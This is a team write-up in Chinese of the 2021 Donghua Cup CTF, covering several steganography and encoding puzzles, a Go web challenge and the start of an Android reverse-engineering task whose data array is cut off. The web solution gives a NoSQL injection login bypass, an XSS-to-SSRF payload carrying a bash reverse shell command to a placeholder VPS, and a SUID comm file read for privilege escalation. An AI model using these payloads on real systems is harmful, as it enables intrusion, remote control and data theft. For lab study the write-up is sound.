CTF | 2021 东华杯 大学生网络安全邀请赛 WriteUp


本文首发于安全客:https://www.anquanke.com/post/id/258197

引言

“东华杯”2021年大学生网络安全邀请赛暨第七届上海市大学生网络安全大赛

比赛时间: 2021-10-31 09:00 ~ 2021-10-31 21:00

比赛官网: https://www.ichunqiu.com/2021dhb

十月就要结束了,这个比赛就是十月份的最后一个比赛啦~

这比赛往年相对其他比赛来说都挺简单的,不能跨校组队,于是就拉上校内的学弟随意组了个队来打了。

从早九开始打,然而喵喵中午才起来,摸了.jpg,还好还能做几题,不然就彻底摸鱼了(虽然签个到也能进决赛,逃

这篇是团队的 writeup 啦~ Reverse 题目是队友做的。喵喵也想学 RE,呜呜。

Misc

checkin

+AGYAbABhAGcAewBkAGgAYgBfADcAdABoAH0-

s = b"+AGYAbABhAGcAewBkAGgAYgBfADcAdABoAH0-"
s.decode('utf-7')
# 'flag{dhb_7th}'

(一看到这个开头的 + 就想到 2020 USTC Hackergame 那个 utf-7 的题目

project

一个普普通通的工程文件

附件下载 提取码(GAME)备用下载

解压出来一堆的远古文件,发现是 组态王(KingView),感觉是工控的题。

再一看修改时间,只有一个今年的 test.exe,一看就是 pyinstaller 打包的,遂解包,发现其实只是释放了一个 problem_bak.zip

运行 exe 得到这个 zip。里面一个 你来了~

经典邮件。

6KGo5oOF5YyF5paH5YyW77yM5piv6ZqP552A572R57uc56S+5Lqk5rKf6YCa55qE5aKe5aSa5Ye6
546w55qE5LiA56eN5Li75rWB5paH5YyW44CC5LiA5Liq5Lq655qE6KGo5oOF5YyF5piv5YW26ZqQ
6JeP6LW35p2l55qE55yf5oiR77yM5LiA5Liq5Zu95a6255qE6KGo5oOF5YyF6YeM6IO955yL5Yiw
6L+Z5Liq5Zu95a6255qE6KGo5oOF44CC4oCM4oCM4oCM4oCM4oCN4oCs4oCs4oCM5pyJ5pe25YCZ
77yM6KGo5oOF5YyF6KGo6L6+55qE5piv5LiN6IO96YGT56C055qE55yf5a6e5oOz5rOV5ZKM5oSf
5Y+X77yM6K+t6KiA5ZKM5paH5a2X55qE5bC95aS077yM5bCx5piv6KGo5oOF5YyF5pa95bGV55qE
56m66Ze044CCDQrooajmg4XljIXmmK/nvZHnu5zor63oqIDnmoTkuIDnp43ov5vljJbvvIzlroPn
moTkuqfnlJ/lkozmtYHooYzkuI7lhbbnibnlrprnmoTigJzigIzigIzigIzigIzigI3vu7/igI3i
gI3nlJ/lrZjnjq/looPigJ3mnInlhbPjgILlhbbov73msYLphpLnm67jgIHmlrDlpYfjgIHosJDo
sJHnrYnmlYjmnpznmoTnibnngrnvvIzigIzigIzigIzigIzigI3vu7/igIzigKzkuI7lubTovbvk
urrlvKDmiazkuKrmgKflkozmkJ7mgKrnmoTlv4PnkIbnm7jnrKbigIzigIzigIzigIzigI3vu7/i
gIzigKzjgIINCuihqOaDheWMheS5i+aJgOS7peiDveWkn+Wkp+iMg+WbtOWcsOS8oOaSre+8jOKA
jOKAjOKAjOKAjOKAje+7v+KArOKAjeaYr+WboOS4uuWFtuW8peihpeS6huaWh+Wtl+S6pOa1geea
hOaer+eHpeWSjOaAgeW6puihqOi+vuS4jeWHhuehrueahOW8seeCue+8jOacieaViOWcsOaPkOmr
mOS6huayn+mAmuaViOeOh+OAgumDqOWIhuihqOaDheWMheWFt+acieabv+S7o+aWh+Wtl+eahOWK
n+iDve+8jOKAjOKAjOKAjOKAjOKAje+7v+KAjeKAjei/mOWPr+S7peiKguecgeaJk+Wtl+aXtumX
tOKAjOKAjOKAjOKAjOKAje+7v+KAjOKAjOOAgumaj+edgOaZuuiDveaJi+acuueahOWFqOmdouaZ
ruWPiuWSjOekvuS6pOW6lOeUqOi9r+S7tueahOWkp+mHj+S9v+eUqO+8jOihqOaDheWMheW3sue7
j+mrmOmikeeOh+WcsOWHuueOsOWcqOS6uuS7rOeahOe9kee7nOiBiuWkqeWvueivneW9k+S4reOA
gg0K

base64 解码,发现有零宽隐写

表情包文化,是随着网络社交沟通的增多出现的一种主流文化。一个人的表情包是其隐藏起来的真我,一个国家的表情包里能看到这个国家的表情。‌‌‌‌‍‬‬‌有时候,表情包表达的是不能道破的真实想法和感受,语言和文字的尽头,就是表情包施展的空间。
表情包是网络语言的一种进化,它的产生和流行与其特定的“‌‌‌‌‍‍‍生存环境”有关。其追求醒目、新奇、谐谑等效果的特点,‌‌‌‌‍‌‬与年轻人张扬个性和搞怪的心理相符‌‌‌‌‍‌‬。
表情包之所以能够大范围地传播,‌‌‌‌‍‬‍是因为其弥补了文字交流的枯燥和态度表达不准确的弱点,有效地提高了沟通效率。部分表情包具有替代文字的功能,‌‌‌‌‍‍‍还可以节省打字时间‌‌‌‌‍‌‌。随着智能手机的全面普及和社交应用软件的大量使用,表情包已经高频率地出现在人们的网络聊天对话当中。

到 零宽隐写 解密一下,用到的字符 vim 看一下就行。

得到 hurryup,盲猜是某个加密的密码。

再看邮件里还有张图片,base64 解码导出到文件。

OurSecret 解密得到 flag。

flag{f3a5dc36-ad43-d4fa-e75f-ef79e2e28ef3}

JumpJumpTiger

flag格式为flag{uuid}

附件下载 提取码(GAME)备用下载

是跳跳虎啊(

给了个 jump.exe,运行就输出一句话

This is your hint!!!

拖进 IDA,发现它这里其实这个 v4 数组也就是前后把奇数位和偶数位分开的操作。

然后看 strings 窗口,发现有一堆看上去像 base64 的字符串,然而解析不出来。

下面两个很明显是隔位来取值,于是比赛的时候就考虑了各种方法把这三个字符串的奇数位和偶数位分开,或者按不同顺序排列奇数位和偶数位。然而不管啥样都解析不出一个看得出来的东西……

赛后问了下其他师傅,说直接十六进制编辑器复制出来,奇偶位分开就完事了。

???????

喵喵疑惑脸.jpg

然后拖进 010 editor 一看,草,IDA 解析锅了啊!!!

也就是说,不知道什么原因,这个 strings window 解析出来的字符串分段了,而且导出来也不完整。

而实际上这一长串字符串都是连在一起的。于是直接在 010 Editor 里整个复制出来。

然后奇偶位分别导出到两个文件。

import base64
with open('base64.dat', 'r', encoding='utf-8') as fin:
    s = fin.read()

s1 = ''.join([s[i] for i in range(0, len(s), 2)])
s2 = ''.join([s[i] for i in range(1, len(s), 2)])
data1 = base64.b64decode(s1)
data2 = base64.b64decode(s2)

print(data1[:200])
print('======')
print(data2[:200])

with open('data1.jpg', 'wb') as f1:
    f1.write(data1)
with open('data2.png', 'wb') as f1:
    f1.write(data2)

# b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00\x01\x00\x01\x00\x00\xff\xdb\x00C\x00\x05\x03\x04\x04\x04\x03\x05\x04\x04\x04\x05\x05\x05\x06\x07\x0c\x08\x07\x07\x07\x07\x0f\x0b\x0b\t\x0c\x11\x0f\x12\x12\x11\x0f\x11\x11\x13\x16\x1c\x17\x13\x14\x1a\x15\x11\x11\x18!\x18\x1a\x1d\x1d\x1f\x1f\x1f\x13\x17"$"\x1e$\x1c\x1e\x1f\x1e\xff\xdb\x00C\x01\x05\x05\x05\x07\x06\x07\x0e\x08\x08\x0e\x1e\x14\x11\x14\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\xff\xc0\x00\x11\x08\x048\x07\x80\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01\xff\xc4\x00\x1d\x00\x00\x02\x02\x03\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02'
# ======
# b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x07\x80\x00\x00\x048\x08\x02\x00\x00\x00g\xb1V\x14\x00\x00 \x00IDATx\x01d\xc1A\x96,\xe7\x96\x9c\xd7\xcf\xec\xb8\'\x00R\xf3\x9f\x15\xd5"G\xc0Zj\xabA\xb2\xde\xcd\xf8\x8f\x19#\x1cH\xea\xd6\xd2\xde\xfa\xef\xff\xf5\xbf\xf4\x07\xd06I\xdb$\x92l_\xd753\xb6\x81\xb6\xbb\xcbC\x12\xbfI\x97\xb7\nl_b@\x80\xfc\xdd\xaa\xad>*\x93\x9c$m\x81\x8aGT\x0c*\xbe\x06P\xf9H\xd5v\xd3\xf6\x17\xb3\xbb\xb6\xff\xfc\xf3\x0fI\xaf\xd7+9\xb6\xff\xb8\xd5\xf6\x9c\xb3\xbb\x92\xae\xeb\x92\xc4[\xdd\x1f\x92lK\xb2\xdd6\x8f\xb6#\xf1\xc3\xba$\xf1\xe8#I\xdb\xfft{\xe5\x15\xc7.\x06T\x01G'

得到两张图,一张 jpg 一张 png。

data1

data2

进行一个 diff,SUB 很明显看出就是熟悉的经典盲水印。一张是原图,一张是加了盲水印的 png。

这里用到的是 chishaxie 的 BlindWaterMark

python bwmforpy3.py decode data1.jpg data2.png out.png

呐,flag。

out

where_can_find_code

附件下载 提取码(GAME)备用下载

给了个 code.asc,发现这个文件里有一堆的 \0.

尝试着拿去当 html 解析,效果长这样。

(好像也没啥用)

下面这段长得就很像 flag,应该是某种映射关系。然而直接拿去 quipquip 解的话出来都不对。

format("Translate the letter J into I");
dpeb{e58ca5e2-2c51-4eef-5f5e-33539364deoa}

再回到最开始的 \0,发现是用了 wbStego 隐写。

password 为空,解密出来得到

20810842042108421

只含有 01248,是那个 云影密码。

实际上就是以 0 作为间隔,其他数隔开后十进制组合相加,转化为 1-26 对应的字母 A-Z.

直接抄个网上的脚本好了。

def de_code(c):
    dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)]
    flag = []
    c2 = [i for i in c.split("0")]
    for i in c2:
        c3 = 0
        for j in i:
            c3 += int(j)
        flag.append(dic[c3 - 1])
    return flag


def encode(plaintext):
    dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)]
    m = [i for i in plaintext]
    tmp = []
    flag = []
    for i in range(len(m)):
        for j in range(len(dic)):
            if m[i] == dic[j]:
                tmp.append(j + 1)
    for i in tmp:
        res = ""
        if i >= 8:
            res += int(i/8)*"8"
        if i % 8 >= 4:
            res += int(i % 8/4)*"4"
        if i % 4 >= 2:
            res += int(i % 4/2)*"2"
        if i % 2 >= 1:
            res += int(i % 2/1)*"1"
        flag.append(res + "0")
    print("".join(flag)[:-1])


c = input("输入要解密的数字串:")
print(de_code(c))
# m_code = input("请输入要加密的数字串:")
# encode(m_code)

得到 BINGO

再去搜 Translate the letter J into I,发现是 多表代换加密 里的 Playfair cipher

有一个 在线的 Playfair Cipher 工具 可以直接在网页上编解码。

flag{d58af5d2-2a51-4dde-5e5d-33539364cdbf}

Web

OldLibrary

附件下载 提取码(GAME)备用下载

是个 golang 的题目。虽然咱不会 golang,但给了源码而不是二进制文件,看起来还是挺舒服的。

首先看各个接口

router.POST("/delete", handler.IPCheckMiddleWare(), DeleteController)
router.POST("/signin", LoginController)
router.POST("/signup", RegisterController)
router.POST("/download", handler.LoginCheckMiddleWare(), DownloadController)
router.POST("/submit", handler.AdminCheckMiddleWare(), BookHandleController)

发现登录这里,sql 查询直接拼接了字符串

db_table := Conn.DB("ctf").C("users")
result := User{}
err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+user.Username+"' && this.password == '"+user.Password+"') {return true;}}"}).One(&result)

而 handler 这里面提示了管理员用户名是 administrator

于是构造登录请求

username=administrator&password=1' || '1'=='1

成功登录。

然后再看接口,发现有个 /delete,存在命令执行,而且是拼接字符串。

func DeleteController(c *gin.Context) {    // The function is temporarily inaccessible

    var filename Filename
    if err := c.ShouldBindJSON(&filename); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }
    
    cmd := exec.Command("/bin/bash", "-c", "rm ./upload/pdf/" + filename.Filename)
    if err := cmd.Run(); err != nil {
        fmt.Println(err)
        return
    }

    c.String(http.StatusOK, fmt.Sprintf("File Deleted Successfully"))
}

然而这个只能通过本地进行访问。

func IPCheckMiddleWare() gin.HandlerFunc {
    return func(c *gin.Context) {
        if c.Request.RemoteAddr[:9] != "127.0.0.1" && c.Request.RemoteAddr[:9] != "localhost" {
            c.JSON(403, gin.H{"msg": "I'm sorry, your IP is forbidden"})
            return
        }

        c.Next()
    }
}

再看 /submit 接口这里,可以上传 pdf,而这些输入的信息会进到 makepdf 函数里。

func BookHandleController(c *gin.Context) {

    var book Book

    if err := c.ShouldBind(&book); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }

    file, err := c.FormFile("covers")
    if err != nil {
        c.String(http.StatusBadRequest, fmt.Sprintf("Get form err: %s", err.Error()))
        return
    }

    filename := filepath.Base(file.Filename)
    if err := c.SaveUploadedFile(file, "/tmp/covers/" + filename); err != nil {
        c.String(http.StatusBadRequest, fmt.Sprintf("Upload covers err: %s", err.Error()))
        return
    }

    makepdf(book.Title, book.Author, book.Description, filename)

    db_table := Conn.DB("ctf").C("books")
    err = db_table.Insert(&book)

    if err != nil {
        c.String(http.StatusBadRequest, fmt.Sprintf("Signup err: %s", err.Error()))
        return
    }

    c.Header("Content-Type", "text/html; charset=utf-8")
    c.String(200, "<script>alert('Book uploaded successfully');window.location.href='/submit'</script>")
}

makepdf 函数里直接将输入的东西拼接进 html 里了,然后生成 pdf,于是想到在这里构造 XSS 来进行 SSRF。

func makepdf(title, author, description, covers string) string {
    // Create new PDF generator
    pdfg, err := wkhtmltopdf.NewPDFGenerator()
    if err != nil {
        fmt.Println(err)
    }
    
    template := "<!DOCTYPE html>" +
                "<html lang='en'>" +
                "<head>" +
                "<meta charset='UTF-8'>" +
                "<meta name='viewport' content='width=device-width, initial-scale=1.0'>" +
                "<title>Library</title>" +
                "</head>" +
                "<body>" +
                "<center>" + 
                "<h2>Book description</h2>" +
                "<table border='1' cellpadding='10'>" +
                "<tr>" +
                "<th>Book Title</th>" +
                "<td>" + title + "</td>" +
                "</tr>" +
                "<tr>" +
                "<th>Author</th>" +
                "<td>" + author + "</td>" +
                "</tr>" +
                "<tr>" +
                "<th> Content Abstract </th>" +
                "<td>" + description + "</td>" +
                "</tr>" +
                "</table>" +
                "<br><img src='covers/" + covers + "' height='300'>" +
                "</center>" +
                "</body>" +
                "</html>"
    
    pdfg.AddPage(wkhtmltopdf.NewPageReader(strings.NewReader(template)))

    err = pdfg.Create()
    if err != nil {
        fmt.Println(err)
    }

构造 description 如下,反弹个 shell 回来。

</td><script>var s=new XMLHttpRequest;s.open("POST","http://127.0.0.1:8888/delete");
s.setRequestHeader('Content-type', 'application/json');s.send('{"filename":"test.pdf|bash -i >& /dev/tcp/VPSIP/PORT 0>&1"}');</script><td>

VPS 上接收到反弹的 shell

发现 flag 在 /flagggisshere 但是没权限读,找找能不能借助 suid 权限来读。

$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/xorg/Xorg.wrap
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/chfn
/usr/bin/comm
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pkexec
$ ls -al /usr/bin/comm
-rwsr-xr-x 1 root root       43384 Sep  5  2019 comm

$ comm /flagggisshere /dev/null 2>/dev/null
flag{a4a22262-4d19-4956-ba7c-6ac805a99785}

comm SUID 读文件的介绍

Reverse

这部分题目是队友做的,喵喵菜菜,喵呜。

hello

hello world!

附件下载 提取码(GAME)备用下载

在 Java 中获取用户输入以及 apk 的签名,并调用 JNI 函数 stringFromJNI 进行加密。

主体部分为一个异或加密以及交换每个字符的前五位与后三位,使用调试手段获取签名后即可写出解密代码。

target = [0xca, 0xeb, 0x4a, 0x8a, 0x68, 0xe1, 0xa1, 0xeb, 0xe1, 0xee, 0x6b, 0x84, 0xa2, 0x6d, 0x49, 0xc8, 0x8e, 0xe, 0xcc, 0xe9, 0x45, 0xcf, 0x23, 0xcc, 0xc5, 0x4c, 0xc, 0x85, 0xcf, 0xa9, 0x8c, 0xf6, 0xe6, 0xd6, 0x26, 0x6d, 0xac, 0xc, 0xac, 0x77, 0xe0, 0x64]
sig = [0x33, 0x30, 0x38, 0x32, 0x30, 0x32, 0x65, 0x34, 0x33, 0x30, 0x38, 0x32, 0x30, 0x31, 0x63, 0x63, 0x30, 0x32, 0x30, 0x31, 0x30, 0x31, 0x33, 0x30, 0x30, 0x64, 0x30, 0x36, 0x30, 0x39, 0x32, 0x61, 0x38, 0x36, 0x34, 0x38, 0x38, 0x36, 0x66, 0x37, 0x30, 0x64, 0x30, 0x31, 0x30, 0x31, 0x30, 0x35, 0x30, 0x35, 0x30, 0x30, 0x33, 0x30, 0x33, 0x37, 0x33, 0x31, 0x31, 0x36, 0x33, 0x30, 0x31, 0x34, 0x30, 0x36, 0x30, 0x33, 0x35, 0x35, 0x30, 0x34, 0x30, 0x33, 0x30, 0x63, 0x30, 0x64, 0x34, 0x31, 0x36, 0x65, 0x36, 0x34, 0x37, 0x32, 0x36, 0x66, 0x36, 0x39, 0x36, 0x34, 0x32, 0x30, 0x34, 0x34, 0x36, 0x35, 0x36, 0x32, 0x37, 0x35, 0x36, 0x37, 0x33, 0x31, 0x31, 0x30, 0x33, 0x30, 0x30, 0x65, 0x30, 0x36, 0x30, 0x33, 0x35, 0x35, 0x30, 0x34, 0x30, 0x61, 0x30, 0x63, 0x30, 0x37, 0x34, 0x31, 0x36, 0x65, 0x36, 0x34, 0x37, 0x32, 0x36, 0x66, 0x36, 0x39, 0x36, 0x34, 0x33, 0x31, 0x30, 0x62, 0x33, 0x30, 0x30, 0x39, 0x30, 0x36, 0x30, 0x33, 0x35, 0x35, 0x30, 0x34, 0x30, 0x36, 0x31, 0x33, 0x30, 0x32, 0x35, 0x35, 0x35, 0x33, 0x33, 0x30, 0x32, 0x30, 0x31, 0x37, 0x30, 0x64, 0x33, 0x32, 0x33, 0x31, 0x33, 0x30, 0x33, 0x33, 0x33, 0x30, 0x33, 0x36, 0x33, 0x31, 0x33, 0x34, 0x33, 0x33, 0x33, 0x30, 0x33, 0x34, 0x33, 0x38, 0x35, 0x61, 0x31, 0x38, 0x30, 0x66, 0x33, 0x32, 0x33, 0x30, 0x33, 0x35, 0x33, 0x31, 0x33, 0x30, 0x33, 0x32, 0x33, 0x32, 0x33, 0x37, 0x33, 0x31, 0x33, 0x34, 0x33, 0x33, 0x33, 0x30, 0x33, 0x34, 0x33, 0x38, 0x35, 0x61, 0x33, 0x30, 0x33, 0x37, 0x33, 0x31, 0x31, 0x36, 0x33, 0x30, 0x31, 0x34, 0x30, 0x36, 0x30, 0x33, 0x35, 0x35, 0x30, 0x34, 0x30, 0x33, 0x30, 0x63, 0x30, 0x64, 0x34, 0x31, 0x36, 0x65, 0x36, 0x34, 0x37, 0x32, 0x36, 0x66, 0x36, 0x39, 0x36, 0x34, 0x32, 0x30, 0x34, 0x34, 0x36, 0x35, 0x36, 0x32, 0x37, 0x35, 0x36, 0x37, 0x33, 0x31, 0x31, 0x30, 0x33, 0x30, 0x30, 0x65, 0x30, 0x36, 0x30, 0x33, 0x35, 0x35, 0x30, 0x34, 0x30, 0x61, 0x30, 0x63, 0x30, 0x37, 0x34, 0x31, 0x36, 0x65, 0x36, 0x34, 0x37, 0x32, 0x36, 0x66, 0x36, 0x39, 0x36, 0x34, 0x33, 0x31, 0x30, 0x62, 0x33, 0x30, 0x30, 0x39, 0x30, 0x36, 0x30, 0x33, 0x35, 0x35, 0x30, 0x34, 0x30, 0x36, 0x31, 0x33, 0x30, 0x32, 0x35, 0x35, 0x35, 0x33, 0x33, 0x30, 0x38, 0x32, 0x30, 0x31, 0x32, 0x32, 0x33, 0x30, 0x30, 0x64, 0x30, 0x36, 0x30, 0x39, 0x32, 0x61, 0x38, 0x36, 0x34, 0x38, 0x38, 0x36, 0x66, 0x37, 0x30, 0x64, 0x30, 0x31, 0x30, 0x31, 0x30, 0x31, 0x30, 0x35, 0x30, 0x30, 0x30, 0x33, 0x38, 0x32, 0x30, 0x31, 0x30, 0x66, 0x30, 0x30, 0x33, 0x30, 0x38, 0x32, 0x30, 0x31, 0x30, 0x61, 0x30, 0x32, 0x38, 0x32, 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x63, 0x62, 0x66, 0x32, 0x62, 0x30, 0x39, 0x65, 0x34, 0x33, 0x30, 0x38, 0x65, 0x62, 0x62, 0x34, 0x35, 0x39, 0x65, 0x38, 0x38, 0x34, 0x31, 0x65, 0x35, 0x61, 0x37, 0x62, 0x39, 0x32, 0x30, 0x34, 0x39, 0x37, 0x66, 0x65, 0x66, 0x32, 0x62, 0x33, 0x34, 0x39, 0x65, 0x38, 0x30, 0x36, 0x34, 0x38, 0x66, 0x37, 0x65, 0x62, 0x33, 0x35, 0x66, 0x34, 0x38, 0x64, 0x34, 0x30, 0x61, 0x37, 0x35, 0x65, 0x37, 0x63, 0x65, 0x37, 0x39, 0x34, 0x35, 0x62, 0x38, 0x62, 0x34, 0x32, 0x64, 0x31, 0x39, 0x37, 0x62, 0x65, 0x63, 0x30, 0x62, 0x66, 0x31, 0x37, 0x37, 0x65, 0x36, 0x63, 0x39, 0x38, 0x39, 0x39, 0x65, 0x64, 0x37, 0x30, 0x37, 0x64, 0x63, 0x63, 0x34, 0x61, 0x37, 0x32, 0x36, 0x63, 0x62, 0x31, 0x34, 0x63, 0x31, 0x61, 0x36, 0x39, 0x62, 0x30, 0x63, 0x34, 0x61, 0x30, 0x32, 0x34, 0x37, 0x34, 0x38, 0x30, 0x36, 0x66, 0x61, 0x37, 0x33, 0x63, 0x66, 0x62, 0x31, 0x30, 0x65, 0x31, 0x30, 0x66, 0x37, 0x62, 0x31, 0x36, 0x36, 0x35, 0x30, 0x32, 0x31, 0x63, 0x32, 0x34, 0x37, 0x36, 0x32, 0x62, 0x36, 0x65, 0x64, 0x61, 0x64, 0x36, 0x35, 0x63, 0x61, 0x36, 0x33, 0x63, 0x65, 0x61, 0x33, 0x63, 0x37, 0x32, 0x65, 0x30, 0x64, 0x34, 0x65, 0x34, 0x63, 0x61, 0x33, 0x66, 0x39, 0x38, 0x33, 0x30, 0x31, 0x31, 0x37, 0x33, 0x65, 0x65, 0x63, 0x33, 0x32, 0x35, 0x34, 0x33, 0x33, 0x37, 0x61, 0x66, 0x31, 0x66, 0x35, 0x61, 0x31, 0x31, 0x66, 0x37, 0x37, 0x39, 0x65, 0x63, 0x62, 0x65, 0x30, 0x34, 0x64, 0x31, 0x62, 0x37, 0x34, 0x64, 0x35, 0x33, 0x66, 0x35, 0x38, 0x33, 0x35, 0x65, 0x30, 0x31, 0x31, 0x32, 0x32, 0x32, 0x31, 0x35, 0x35, 0x61, 0x35, 0x36, 0x66, 0x39, 0x37, 0x65, 0x30, 0x30, 0x64, 0x37, 0x35, 0x33, 0x37, 0x34, 0x63, 0x64, 0x39, 0x33, 0x30, 0x38, 0x30, 0x64, 0x66, 0x61, 0x30, 0x38, 0x37, 0x63, 0x64, 0x33, 0x35, 0x36, 0x61, 0x39, 0x39, 0x66, 0x65, 0x31, 0x65, 0x65, 0x62, 0x66, 0x35, 0x64, 0x36, 0x64, 0x35, 0x65, 0x33, 0x31, 0x38, 0x34, 0x36, 0x61, 0x61, 0x64, 0x35, 0x32, 0x35, 0x32, 0x63, 0x33, 0x61, 0x31, 0x37, 0x61, 0x34, 0x36, 0x35, 0x36, 0x65, 0x32, 0x65, 0x32, 0x31, 0x30, 0x63, 0x65, 0x31, 0x63, 0x37, 0x61, 0x61, 0x34, 0x64, 0x31, 0x34, 0x37, 0x66, 0x62, 0x38, 0x63, 0x66, 0x34, 0x34, 0x30, 0x61, 0x35, 0x30, 0x61, 0x64, 0x64, 0x36, 0x31, 0x62, 0x62, 0x62, 0x32, 0x65, 0x63, 0x32, 0x39, 0x39, 0x61, 0x32, 0x65, 0x30, 0x64, 0x61, 0x62, 0x30, 0x62, 0x34, 0x35, 0x30, 0x34, 0x37, 0x39, 0x36, 0x61, 0x63, 0x33, 0x61, 0x38, 0x39, 0x39, 0x64, 0x61, 0x35, 0x35, 0x33, 0x61, 0x62, 0x31, 0x64, 0x38, 0x33, 0x35, 0x37, 0x36, 0x36, 0x39, 0x31, 0x61, 0x62, 0x32, 0x33, 0x34, 0x30, 0x39, 0x64, 0x31, 0x38, 0x33, 0x39, 0x38, 0x30, 0x31, 0x34, 0x62, 0x33, 0x62, 0x35, 0x65, 0x61, 0x66, 0x31, 0x32, 0x65, 0x38, 0x33, 0x66, 0x34, 0x64, 0x39, 0x39, 0x61, 0x61, 0x30, 0x39, 0x65, 0x31, 0x65, 0x34, 0x65, 0x34, 0x63, 0x61, 0x65, 0x31, 0x33, 0x33, 0x35, 0x33, 0x30, 0x37, 0x33, 0x30, 0x63, 0x31, 0x31, 0x33, 0x33, 0x64, 0x61, 0x32, 0x62, 0x33, 0x64, 0x65, 0x65, 0x33, 0x37, 0x62, 0x35, 0x38, 0x65, 0x62, 0x31, 0x61, 0x35, 0x37, 0x39, 0x35, 0x62, 0x32, 0x32, 0x31, 0x65, 0x63, 0x35, 0x61, 0x38, 0x38, 0x33, 0x30, 0x37, 0x33, 0x31, 0x61, 0x34, 0x31, 0x31, 0x36, 0x37, 0x64, 0x32, 0x39, 0x35, 0x66, 0x39, 0x65, 0x31, 0x62, 0x30, 0x32, 0x30, 0x33, 0x30, 0x31, 0x30, 0x30, 0x30, 0x31, 0x33, 0x30, 0x30, 0x64, 0x30, 0x36, 0x30, 0x39, 0x32, 0x61, 0x38, 0x36, 0x34, 0x38, 0x38, 0x36, 0x66, 0x37, 0x30, 0x64, 0x30, 0x31, 0x30, 0x31, 0x30, 0x35, 0x30, 0x35, 0x30, 0x30, 0x30, 0x33, 0x38, 0x32, 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x65, 0x34, 0x37, 0x34, 0x30, 0x32, 0x33, 0x35, 0x65, 0x39, 0x63, 0x66, 0x32, 0x62, 0x65, 0x33, 0x33, 0x64, 0x65, 0x33, 0x65, 0x30, 0x36, 0x64, 0x37, 0x37, 0x37, 0x31, 0x33, 0x39, 0x63, 0x62, 0x62, 0x63, 0x35, 0x63, 0x66, 0x30, 0x36, 0x32, 0x32, 0x32, 0x38, 0x35, 0x63, 0x31, 0x37, 0x64, 0x61, 0x30, 0x34, 0x36, 0x39, 0x37, 0x62, 0x38, 0x30, 0x36, 0x37, 0x33, 0x31, 0x38, 0x61, 0x61, 0x66, 0x38, 0x64, 0x66, 0x30, 0x66, 0x62, 0x62, 0x34, 0x64, 0x33, 0x31, 0x36, 0x36, 0x66, 0x32, 0x39, 0x33, 0x65, 0x61, 0x31, 0x35, 0x61, 0x61, 0x32, 0x35, 0x39, 0x32, 0x66, 0x30, 0x36, 0x65, 0x62, 0x36, 0x39, 0x32, 0x39, 0x61, 0x66, 0x30, 0x36, 0x33, 0x37, 0x32, 0x32, 0x61, 0x63, 0x39, 0x66, 0x33, 0x30, 0x61, 0x64, 0x38, 0x35, 0x65, 0x32, 0x63, 0x30, 0x38, 0x37, 0x35, 0x36, 0x34, 0x39, 0x33, 0x31, 0x64, 0x36, 0x61, 0x63, 0x36, 0x35, 0x66, 0x63, 0x64, 0x35, 0x66, 0x62, 0x63, 0x38, 0x36, 0x34, 0x62, 0x33, 0x64, 0x63, 0x39, 0x38, 0x34, 0x31, 0x65, 0x30, 0x33, 0x39, 0x63, 0x36, 0x65, 0x31, 0x64, 0x35, 0x66, 0x62, 0x63, 0x35, 0x63, 0x32, 0x66, 0x38, 0x61, 0x64, 0x66, 0x39, 0x30, 0x61, 0x35, 0x34, 0x37, 0x62, 0x63, 0x34, 0x65, 0x62, 0x63, 0x30, 0x37, 0x64, 0x33, 0x38, 0x37, 0x39, 0x31, 0x34, 0x64, 0x62, 0x32, 0x34, 0x34, 0x35, 0x31, 0x63, 0x32, 0x63, 0x63, 0x38, 0x39, 0x39, 0x32, 0x35, 0x33, 0x35, 0x39, 0x62, 0x64, 0x33, 0x62, 0x62, 0x30, 0x37, 0x35, 0x30, 0x63, 0x37, 0x61, 0x61, 0x62, 0x66, 0x39, 0x64, 0x37, 0x34, 0x33, 0x62, 0x31, 0x38, 0x39, 0x33, 0x65, 0x39, 0x38, 0x62, 0x62, 0x63, 0x38, 0x66, 0x66, 0x37, 0x34, 0x62, 0x32, 0x34, 0x66, 0x63, 0x30, 0x62, 0x34, 0x62, 0x65, 0x32, 0x64, 0x62, 0x61, 0x61, 0x66, 0x31, 0x63, 0x39, 0x31, 0x37, 0x62, 0x62, 0x61, 0x30, 0x31, 0x34, 0x39, 0x36, 0x64, 0x30, 0x36, 0x31, 0x37, 0x66, 0x66, 0x63, 0x33, 0x61, 0x34, 0x61, 0x38, 0x62, 0x37, 0x61, 0x36, 0x65, 0x37, 0x39, 0x61, 0x33, 0x30, 0x33, 0x36, 0x32, 0x39, 0x38, 0x61, 0x36, 0x65, 0x62, 0x66, 0x35, 0x37, 0x62, 0x62, 0x30, 0x30, 0x30, 0x30, 0x31, 0x65, 0x34, 0x33, 0x61, 0x30, 0x62, 0x32, 0x34, 0x32, 0x38, 0x36, 0x34, 0x65, 0x65, 0x62, 0x62, 0x30, 0x66, 0x63, 0x65, 0x63, 0x39, 0x65, 0x33, 0x32, 0x33, 0x31, 0x34, 0x34, 0x64, 0x34, 0x34, 0x34, 0x37, 0x63, 0x38, 0x37, 0x38, 0x34, 0x33, 0x30, 0x66, 0x31, 0x38, 0x65, 0x36, 0x65, 0x33, 0x35, 0x38, 0x61, 0x64, 0x39, 0x37, 0x35, 0x36, 0x36, 0x66, 0x61, 0x30, 0x34, 0x64, 0x31, 